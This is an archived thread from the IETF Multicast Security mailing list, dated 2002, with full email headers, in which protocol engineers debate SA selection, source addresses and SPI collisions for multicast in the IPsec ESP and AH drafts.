From msec-admin@securemulticast.org  Mon Jul  1 13:28:03 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA20511
	for <msec-archive@odin.ietf.org>; Mon, 1 Jul 2002 13:28:02 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 32DB453746; Mon,  1 Jul 2002 12:50:17 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 958F353670
	for <msec@lists.securemulticast.org>; Mon,  1 Jul 2002 12:48:37 -0400 (EDT)
Received: (qmail 12063 invoked by uid 3269); 1 Jul 2002 16:49:46 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 12060 invoked from network); 1 Jul 2002 16:49:46 -0000
Received: from sj-msg-core-3.cisco.com (171.70.157.152)
  by klesh.pair.com with SMTP; 1 Jul 2002 16:49:46 -0000
Received: from mira-sjc5-6.cisco.com (IDENT:mirapoint@mira-sjc5-6.cisco.com [171.71.163.23])
	by sj-msg-core-3.cisco.com (8.12.2/8.12.2) with ESMTP id g61Gicht019464;
	Mon, 1 Jul 2002 09:44:57 -0700 (PDT)
Received: from mbaugher-w2k1.cisco.com (stealth-10-34-251-94.cisco.com [10.34.251.94])
	by mira-sjc5-6.cisco.com (Mirapoint)
	with SMTP id ABY50266;
	Mon, 1 Jul 2002 09:42:25 -0700 (PDT)
Message-Id: <4.3.2.7.2.20020701090942.04d7cef8@mira-sjc5-6.cisco.com>
X-Sender: mbaugher@mira-sjc5-6.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
To: Karen Seo <kseo@bbn.com>
From: Mark Baugher <mbaugher@cisco.com>
Cc: ipsec@lists.tislabs.com, skent@gto-mailer1.bbn.com,
        clynn@gto-mailer1.bbn.com, kseo@gto-mailer1.bbn.com,
        msec@securemulticast.org
In-Reply-To: <p05111b1db9427dd7ef9a@[128.89.89.115]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: [MSEC] Re: new version of ESP ID
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Mon, 01 Jul 2002 09:42:34 -0700

Karen, Steve,
At 06:55 PM 6/28/2002 -0400, Karen Seo wrote:
><text deleted>
>
>A question was posed to the working group (6/17) as to whether to change 
>the SA demuxing values to allow use of the Source IP address for 
>source-specific multicast protocols. There has been no feedback so far so 
>no changes were made.

I missed the 6/17 note.  I have a few comments on use of the source IP 
address for source-specific multicast.

First, section 2.2 deprecates sharing an SA among multiple senders to a 
multicast group and in effect mandates single-sender multicast for ESP 
groups.  The same is true for AH.  I'm aware of only one protocol, the VRRP 
specification, that is affected by this change.  VRRP uses AH or ESP but 
allows multi-source multicast groups.  We should notify the VRRP WG of this 
potential change.

Second, I think there is an inconsistency between 2.2 and 3.4.2 in that 2.2 
disallows sharing of an SA among multiple senders and 3.4.2 states that 
anti-replay SHOULD NOT be used in a multi-sender environment.  Doesn't the 
first restriction obviate the need for the second?

Finally, If we are going to restrict a multicast SA to single-source 
multicast groups, then I don't understand how we can avoid identifying 
associating that sender with the SA.  If a member of the single-source 
multicast group who is not the authorized sender begins sending to that 
group, there is no way to identify this problem, which will likely break 
the anti-replay mechanism.

regards, Mark


>Thank you,
>Karen
>


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Tue Jul  2 09:43:26 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA09276
	for <msec-archive@odin.ietf.org>; Tue, 2 Jul 2002 09:43:26 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 4E13453859; Tue,  2 Jul 2002 09:41:40 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id DB131535B9
	for <msec@lists.securemulticast.org>; Tue,  2 Jul 2002 05:28:59 -0400 (EDT)
Received: (qmail 53342 invoked by uid 3269); 2 Jul 2002 09:30:10 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 53339 invoked from network); 2 Jul 2002 09:30:10 -0000
Received: from alc250.alcatel.be (HELO mail.alcatel.be) (195.207.101.250)
  by klesh.pair.com with SMTP; 2 Jul 2002 09:30:10 -0000
Received: from bemail04.net.alcatel.be (relay3 [127.0.0.1])
	by mail.alcatel.be (8.11.0/8.11.4) with ESMTP id g629PW226248;
	Tue, 2 Jul 2002 11:25:32 +0200
From: annelies.van_moffaert@alcatel.be
To: Mark Baugher <mbaugher@cisco.com>
Cc: ipsec@lists.tislabs.com, msec@securemulticast.org
Message-ID: <OF77880193.08056E3E-ONC1256BEA.0030B8C3@net.alcatel.be>
X-MIMETrack: Serialize by Router on BEMAIL04/BE/ALCATEL(Release 5.0.8 |June 18, 2001) at
 07/02/2002 11:29:06
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Subject: [MSEC] Source address as possible SA selector for multicast SA?
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Tue, 2 Jul 2002 11:29:04 +0200

Mark,

Thanks for your comments. As far as scalability is concerned. I agree that
one SA per sender doesn't scale well for groups with a very large number of
senders.  However would the alternative be not to use the anti-replay
mechanism? Or to use one SA for the whole group but within this SA a
seperate sequence number window per sender? The latter case keeps also
state per sender. So I guess it is not perfect from a scalability point of
view either and it doesn't solve a number of other issues that a seperate
SA per sender perhaps could solve.

In case the source address could (optionally) be used as SA selector this
could also be used to authenticate IGMP messages. Note that this would not
be restricted to multicast addresses in the SSM range only.
Since IGMP messages are exchanged only locally between hosts and routers on
the same subnet, it would be most logical and preferable, I think,that also
the SAs that protect these IGMP messages would be completely managed
locally. However there are IGMP messages that are sent to the group
addresses that have members on the subnet. In other words, apart from the
source of the multicast data, the IGMP routers are also `sources' of IP
packets sent to this address. Hence if the IGMP SAs are set up locally and
independently from the global owner then the same ambiguity problem as for
independent SSM sources can occur.

The latter problem is also discussed in the last update of the draft
draft-irtf-gsec-igmpv3-security-issues-02.txt
(only in version 2; this version will hopefully be soon available but I can
of course always send it to interested people.)

Kind regards,
 Annelies Van Moffaert





Mark Baugher <mbaugher@cisco.com> on 01/07/2002 19:35:03

To:   Annelies VAN MOFFAERT/BE/ALCATEL@ALCATEL
cc:   ipsec@lists.tislabs.com
Subject:  Re: IPsec AH and ESP I-Ds; source address as possible SA
      selector for multicast SA?


Annelies,
   Pardon my late response, I somehow misplaced this note.

At 05:10 PM 6/17/2002 +0200, annelies.van_moffaert@alcatel.be wrote:
>Dear all,
>
>Some time ago I posted a comment on the list regarding the new IPsec AH
and
>ESP I-Ds
>  draft-ietf-ipsec-rfc2402bis-00.txt and
>  draft-ietf-ipsec-esp-v3-02.txt
>
>In these drafts it is stated that for multicast the SPI in combination
with
>the destination IP address is used to select an SA. This can however lead
>to ambiguity problems for SSM SAs (SSM = Source Specific Multicast).
>
>A range of multicast IP addresses is reserved for SSM. In SSM a group is
>characterized by the pair (source IP address, destination IP address) and
>every source can freely choose a destination IP address from the SSM
range.
>This means that it is possible that two different sources use the same
>group address as IP destination address.
>If the group controllers of the 2 would happen to choose the same SPI
value
>then the common receivers cannot distinguish between the SAs for the 2
>different groups since they have the smae SPI and the same destination IP
>address.

Yes, I think this could be a problem.  A second potential problem that I
mentioned in my previous message is when more that one sender sends to a
single-source group.  IGMPv3 provides a mechanism to prune unauthorized
sources, but IGMPv2 might be used and the pruning may not occur because a
particular receiver did not issue the request.  In either case, the
sequence number spaces will differ between the sources and cause problems
at an unknowing reciever.


>I think a good solution would be to include also the source address in the
>SA selector for multicast SAs. This would also be very useful  to protect
>IGMP messages by means of IPsec AH.

I favor this approach but it is not consistent with RFC2401.  That's one
issue.  Another issue is whether we restrict SA's to be single-sender SAs
if we associate the source address with the SA.  In this case, the receiver
can maintain a separate replay vector for each source.  This approach won't
scale to very large groups but will work for "small" and "moderate" size
multi-sender groups.

Mark


>Steve Kent, author of the I-Ds, replied to me that it is up to the WG to
>discuss this, hence my email...
>
>So I have to questions for the group:
>Is the above mentioned problem already solved for the IPsec AH and ESP
>I-Ds? and
>Could the source IP address be included as SA selector?
>
>Kind regards,
>  Lies Van Moffaert.
>
>
>
>
>
>Stephen Kent <kent@bbn.com> on 03/05/2002 22:44:03
>
>
>
>  To:      Annelies VAN MOFFAERT/BE/ALCATEL@ALCATEL
>
>  cc:      ipsec@lists.tislabs.com
>
>
>
>  Subject:
>
>
>
>
>
>
>At 2:51 PM +0200 4/30/02, annelies.van_moffaert@alcatel.be wrote:
> >Hi Steven and all,
> >
> >I read the new IP Authentication Header I-D and I have a small question
or
> >remark about the multicast SAs. I saw that these are identified by the
> >destination IP address
> >and the SPI value and optionally, the protocol ID.
> >I'm not sure whether this rules out all possible ambiguity for SSM. For
>SSM
> >the IP destination address does not need to be unique (if I remember
> >correctly). A group session is in SSM identified by the pair (Source IP,
> >Destination IP) and it is possible that 2 different sources choose the
>same
> >SSM group address as Destination IP address. The group controller of
each
> >will pick independently an SPI number. It's of course very unlikely but
I
> >think that it is then strictly speaking possible to have the same (SPI,
> >Destination IP) pair for 2 different SSM sessions. In this case the
> >receiver cannot differentiate between two different SAs since they have
>the
> >same identification pair (Destion IP, SPI). Is this correct or did I
> >overlook something?
> >
> >Kind regards,
> >  Lies






_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Tue Jul  2 11:33:58 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA22712
	for <msec-archive@lists.ietf.org>; Tue, 2 Jul 2002 11:33:58 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id BC66653674; Tue,  2 Jul 2002 11:33:02 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 07B4853623
	for <msec@lists.securemulticast.org>; Tue,  2 Jul 2002 11:32:10 -0400 (EDT)
Received: (qmail 94586 invoked by uid 3269); 2 Jul 2002 15:33:21 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 94583 invoked from network); 2 Jul 2002 15:33:21 -0000
Received: from sj-msg-core-2.cisco.com (171.69.24.11)
  by klesh.pair.com with SMTP; 2 Jul 2002 15:33:21 -0000
Received: from mira-sjc5-6.cisco.com (IDENT:mirapoint@mira-sjc5-6.cisco.com [171.71.163.23])
	by sj-msg-core-2.cisco.com (8.12.2/8.12.2) with ESMTP id g62FWhhI015764;
	Tue, 2 Jul 2002 08:32:43 -0700 (PDT)
Received: from mbaugher-w2k1.cisco.com (stealth-10-34-251-94.cisco.com [10.34.251.94])
	by mira-sjc5-6.cisco.com (Mirapoint)
	with SMTP id ABY68970;
	Tue, 2 Jul 2002 08:30:31 -0700 (PDT)
Message-Id: <4.3.2.7.2.20020702081612.04a49dc8@mira-sjc5-6.cisco.com>
X-Sender: mbaugher@mira-sjc5-6.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
To: Stephen Kent <kent@bbn.com>
From: Mark Baugher <mbaugher@cisco.com>
Cc: ipsec@lists.tislabs.com, msec@securemulticast.org
In-Reply-To: <p05100308b946740fab9c@[128.89.88.34]>
References: <4.3.2.7.2.20020701090942.04d7cef8@mira-sjc5-6.cisco.com>
 <4.3.2.7.2.20020701090942.04d7cef8@mira-sjc5-6.cisco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: [MSEC] Re: new version of ESP ID
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Tue, 02 Jul 2002 08:30:35 -0700

Steve,

At 05:07 PM 7/1/2002 -0400, Stephen Kent wrote:
<text deleted>


>>Finally, If we are going to restrict a multicast SA to single-source 
>>multicast groups, then I don't understand how we can avoid identifying 
>>associating that sender with the SA.  If a member of the single-source 
>>multicast group who is not the authorized sender begins sending to that 
>>group, there is no way to identify this problem, which will likely break 
>>the anti-replay mechanism.
>
>  The SA for a single-sender, multicast SA should specify the address of 
> the one, authorized sender and that would be checked by each receiver.

I'm okay with this.  It limits us strictly to single-sender multicast 
groups.  Given the complexities of multicast security, that's probably the 
best approach at least for the near term.  Shouldn't we document this 
constraint in the ESP (and AH) I-Ds?  That is, the receiver SHALL check the 
source address of a received packet to ensure that it is from the 
authorized sender for the particular SA?


>This is separate from the fact that the IP source address is not (and 
>never has been) used in selecting the SA for inbound traffic, i.e., it is 
>the destination address and the SPI that are used for that demuxing.

Yes, and this is consistent with what RFC 2401 says:  "The concept is 
applicable in the point-to-multipoint case as well."  We disallow having 
multiple senders share an SA.  Annalies point was (if I understand her 
correctly) that we cannot have multiple SAs for a particular multicast 
destination address because the SPIs might collide.  The SPIs might collide 
if different group controllers assign them independently.  Do you agree?

Mark


>Steve


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Tue Jul  2 12:12:44 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA28325
	for <msec-archive@lists.ietf.org>; Tue, 2 Jul 2002 12:12:43 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id A8A7153854; Tue,  2 Jul 2002 12:11:02 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id AC3D85379E
	for <msec@lists.securemulticast.org>; Tue,  2 Jul 2002 12:09:27 -0400 (EDT)
Received: (qmail 99300 invoked by uid 3269); 2 Jul 2002 16:10:39 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 99292 invoked from network); 2 Jul 2002 16:10:38 -0000
Received: from alc250.alcatel.be (HELO mail.alcatel.be) (195.207.101.250)
  by klesh.pair.com with SMTP; 2 Jul 2002 16:10:38 -0000
Received: from bemail04.net.alcatel.be (relay3 [127.0.0.1])
	by mail.alcatel.be (8.11.0/8.11.4) with ESMTP id g62G5bx23865;
	Tue, 2 Jul 2002 18:05:37 +0200
From: annelies.van_moffaert@alcatel.be
Subject: Re: [MSEC] Re: new version of ESP ID
To: Mark Baugher <mbaugher@cisco.com>
Cc: Stephen Kent <kent@bbn.com>, ipsec@lists.tislabs.com,
        msec@securemulticast.org
Message-ID: <OFB89CE622.6FAAD340-ONC1256BEA.00568726@net.alcatel.be>
X-MIMETrack: Serialize by Router on BEMAIL04/BE/ALCATEL(Release 5.0.8 |June 18, 2001) at
 07/02/2002 18:09:12
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Tue, 2 Jul 2002 18:09:11 +0200

Mark and Steve,

I am not sure I completely understand your arguments. I would think that
there is a difference between saying that
1. IPsec can only be used to protect SSM or single-source multicast groups
and
2. When using IPsec to protect multicast traffic one should use a seperate
SA per sender.

In the second case there can be more than 1 sender allowed to send to the
same group. Both legitimate senders and receivers should then e.g.
authenticate to a common key server and the key server could create for
each sender a seperate SA. Additionally the key server would push the SAs
to the group of receivers.

A concrete example could be hosts that all send IGMP messages to the group
address to which all IGMP capable routers listen  or PIM routers that all
send PIM messages to the PIM group address. It could also be a multicast
data service with more than one legitimate source (all sources should then
probably be under the control of a single key server).

Do you have scenario 1 in mind or scenario 2 or again something else?


A second question I have relates to the statement that "the receiver SHALL
check the source address to ensure that it is from the authorized sender".
Isn't this a weak check given that a source address can be spoofed by a
receiver who wants to impersonate the sender?

Mark explained correctly my concern related to colliding SPI values when
independent group controllers manage SAs for the same destination address.
Thanks! ;-) I think this problem could be solved by adding the source
address to the triplet (SPI, protocol, dest IP addr).

Kind regards, Lies.







Mark Baugher <mbaugher@cisco.com>@securemulticast.org on 02/07/2002
17:30:35

Sent by:  msec-admin@securemulticast.org


To:   Stephen Kent <kent@bbn.com>
cc:   ipsec@lists.tislabs.com, msec@securemulticast.org
Subject:  [MSEC] Re: new version of ESP ID


Steve,

At 05:07 PM 7/1/2002 -0400, Stephen Kent wrote:
<text deleted>


>>Finally, If we are going to restrict a multicast SA to single-source
>>multicast groups, then I don't understand how we can avoid identifying
>>associating that sender with the SA.  If a member of the single-source
>>multicast group who is not the authorized sender begins sending to that
>>group, there is no way to identify this problem, which will likely break
>>the anti-replay mechanism.
>
>  The SA for a single-sender, multicast SA should specify the address of
> the one, authorized sender and that would be checked by each receiver.

I'm okay with this.  It limits us strictly to single-sender multicast
groups.  Given the complexities of multicast security, that's probably the
best approach at least for the near term.  Shouldn't we document this
constraint in the ESP (and AH) I-Ds?  That is, the receiver SHALL check the
source address of a received packet to ensure that it is from the
authorized sender for the particular SA?


>This is separate from the fact that the IP source address is not (and
>never has been) used in selecting the SA for inbound traffic, i.e., it is
>the destination address and the SPI that are used for that demuxing.

Yes, and this is consistent with what RFC 2401 says:  "The concept is
applicable in the point-to-multipoint case as well."  We disallow having
multiple senders share an SA.  Annalies point was (if I understand her
correctly) that we cannot have multiple SAs for a particular multicast
destination address because the SPIs might collide.  The SPIs might collide
if different group controllers assign them independently.  Do you agree?

Mark


>Steve


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec




_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Tue Jul  2 12:17:56 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA28599
	for <msec-archive@lists.ietf.org>; Tue, 2 Jul 2002 12:17:56 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id D543453823; Tue,  2 Jul 2002 12:17:01 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 927F253573
	for <msec@lists.securemulticast.org>; Tue,  2 Jul 2002 12:16:24 -0400 (EDT)
Received: (qmail 1405 invoked by uid 3269); 2 Jul 2002 16:17:36 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 1402 invoked from network); 2 Jul 2002 16:17:35 -0000
Received: from m5.sparta.com (root@157.185.61.1)
  by klesh.pair.com with SMTP; 2 Jul 2002 16:17:35 -0000
Received: from columbia.sparta.com (columbia.sparta.com [157.185.80.205])
	by M5.sparta.com (8.12.3/8.12.3) with ESMTP id g62GH6GX002337;
	Tue, 2 Jul 2002 11:17:07 -0500
Received: from columbia.sparta.com (dhcp-5.columbia.sparta.com [157.185.80.6])
	by columbia.sparta.com (8.9.1a/8.9.1) with ESMTP id MAA22200;
	Tue, 2 Jul 2002 12:17:05 -0400 (EDT)
Message-ID: <3D21D287.8B0CA939@columbia.sparta.com>
From: Andrea Colegrove <acc@columbia.sparta.com>
X-Mailer: Mozilla 4.75 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Mark Baugher <mbaugher@cisco.com>
Cc: Stephen Kent <kent@bbn.com>, ipsec@lists.tislabs.com,
        msec@securemulticast.org
References: <4.3.2.7.2.20020701090942.04d7cef8@mira-sjc5-6.cisco.com>
	 <4.3.2.7.2.20020701090942.04d7cef8@mira-sjc5-6.cisco.com> <4.3.2.7.2.20020702081612.04a49dc8@mira-sjc5-6.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [MSEC] Re: new version of ESP ID
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Tue, 02 Jul 2002 12:19:19 -0400
Content-Transfer-Encoding: 7bit

Mark and Steve,
    I agree that if only one sender is authorized than that sender should be
indicated in the SA as policy that must be adhered to.  This should not cause
one to disallow multiple senders sharing an SA.  The policy rule must be
flexible enough to allow an entity, a list, a rule, a wildcard, etc. to cover
all multicast scenarios.  It would be a shame to break future advanced
multicast uses.
    I agree with Annalies that anti-replay is still a problem.  We all
acknowledged that several years ago in smug.  We also discussed the SPI
collision problem at that time.  The probability that two sender-specific SAs
would be assigned the same SPI in the same destination (multicast) address
space is rather slim.  Do you anticipate using different group keys for each of
those SAs?

--- Andrea


Mark Baugher wrote:

> Steve,
>
> At 05:07 PM 7/1/2002 -0400, Stephen Kent wrote:
> <text deleted>
>
> >>Finally, If we are going to restrict a multicast SA to single-source
> >>multicast groups, then I don't understand how we can avoid identifying
> >>associating that sender with the SA.  If a member of the single-source
> >>multicast group who is not the authorized sender begins sending to that
> >>group, there is no way to identify this problem, which will likely break
> >>the anti-replay mechanism.
> >
> >  The SA for a single-sender, multicast SA should specify the address of
> > the one, authorized sender and that would be checked by each receiver.
>
> I'm okay with this.  It limits us strictly to single-sender multicast
> groups.  Given the complexities of multicast security, that's probably the
> best approach at least for the near term.  Shouldn't we document this
> constraint in the ESP (and AH) I-Ds?  That is, the receiver SHALL check the
> source address of a received packet to ensure that it is from the
> authorized sender for the particular SA?
>
> >This is separate from the fact that the IP source address is not (and
> >never has been) used in selecting the SA for inbound traffic, i.e., it is
> >the destination address and the SPI that are used for that demuxing.
>
> Yes, and this is consistent with what RFC 2401 says:  "The concept is
> applicable in the point-to-multipoint case as well."  We disallow having
> multiple senders share an SA.  Annalies point was (if I understand her
> correctly) that we cannot have multiple SAs for a particular multicast
> destination address because the SPIs might collide.  The SPIs might collide
> if different group controllers assign them independently.  Do you agree?
>
> Mark
>
> >Steve


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Tue Jul  2 13:11:20 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA01850
	for <msec-archive@odin.ietf.org>; Tue, 2 Jul 2002 13:11:19 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 1434F53AB4; Tue,  2 Jul 2002 13:10:22 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id E6FCC538F0
	for <msec@lists.securemulticast.org>; Tue,  2 Jul 2002 13:08:39 -0400 (EDT)
Received: (qmail 7452 invoked by uid 3269); 2 Jul 2002 17:09:51 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 7449 invoked from network); 2 Jul 2002 17:09:51 -0000
Received: from m5.sparta.com (root@157.185.61.1)
  by klesh.pair.com with SMTP; 2 Jul 2002 17:09:51 -0000
Received: from columbia.sparta.com (columbia.sparta.com [157.185.80.205])
	by M5.sparta.com (8.12.3/8.12.3) with ESMTP id g62H9CGX004408;
	Tue, 2 Jul 2002 12:09:12 -0500
Received: from columbia.sparta.com (dhcp-5.columbia.sparta.com [157.185.80.6])
	by columbia.sparta.com (8.9.1a/8.9.1) with ESMTP id NAA22841;
	Tue, 2 Jul 2002 13:09:07 -0400 (EDT)
Message-ID: <3D21DEB8.CF254EC1@columbia.sparta.com>
From: Andrea Colegrove <acc@columbia.sparta.com>
X-Mailer: Mozilla 4.75 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Stephen Kent <kent@bbn.com>
Cc: Mark Baugher <mbaugher@cisco.com>, ipsec@lists.tislabs.com,
        msec@securemulticast.org
References: <4.3.2.7.2.20020701090942.04d7cef8@mira-sjc5-6.cisco.com>	
	 <4.3.2.7.2.20020701090942.04d7cef8@mira-sjc5-6.cisco.com>
	 <4.3.2.7.2.20020702081612.04a49dc8@mira-sjc5-6.cisco.com>
	 <3D21D287.8B0CA939@columbia.sparta.com> <p05100304b9478598f01e@[128.89.88.34]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [MSEC] Re: new version of ESP ID
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Tue, 02 Jul 2002 13:11:20 -0400
Content-Transfer-Encoding: 7bit



Stephen Kent wrote:

>
> Andrea,
>
> The current facilities in 2401 do not mandate support for lists of IP
> addresses for an SA, although that is a feature we plan to put in
> 2401bis. So, relative to current standards, there is no way to
> associate a list of authorized senders for a single SA.  You can
> specify a single address, a range of addresses, or allow any address,
> but not an enumerated list. (This was a feature in the ID that was
> deleted before we went to RFC, to match what IKE could negotiate.)
>

Could the opaque value be used and decoded only by multicast aware versions?  Or
is general name flexible enough?

Are there plans to expand the SPD facility to support more generic policy, as
well?  It appears that while RFC 2401 designates IKE as the default security
management mechanism, allowing others, as a "MAY", multiple management mechanisms
may be needed for different uses. (e.g., IKEv2 for gateways, JFK for small mobile
devices, gdoi for single source multicast groups, KMI for government, etc.)  These
mechanisms may also have different policy needs.  For example, GDOI might want to
check that it has received out-of-band, a group policy token that is valid before
proceeding to key distribution.  It would probably be important to show that the
correct management mechanism is selected according to policy and that the security
operating assumptions for each is met.

>
> Every SA nominally has a different set of keys, and that's what IKE,
> IKE v2, and JFK provide. However one could imagine a key management
> protocol which created multiple SAs with a common key, e.g., for the
> purposes you cite here. However,
> I would not expect Ipsec to treat such SAs specially, e.g., to know
> that the keys are common and thus to svae state space as a result.
>
> In any case, we have always required that SPI assignment be
> coordinated for all parties using the same multicast address. This is
> essential for the reasons I cited in my recent, previous message.
> Thus I do not understand the notion of SPI collisions relative to a
> single multicast address, irrespective of whether there is one sender
> or multiple senders.
>
> Steve

My thought was that if a lack of coordination did exist and if a collision did
occur (two BIG ifs), then separate keys would cause decryption errors.  A
management channel could then rekey, including the SPI.

--- Andrea





_______________________________________________
msec mailing list
msec@securemulticast.org
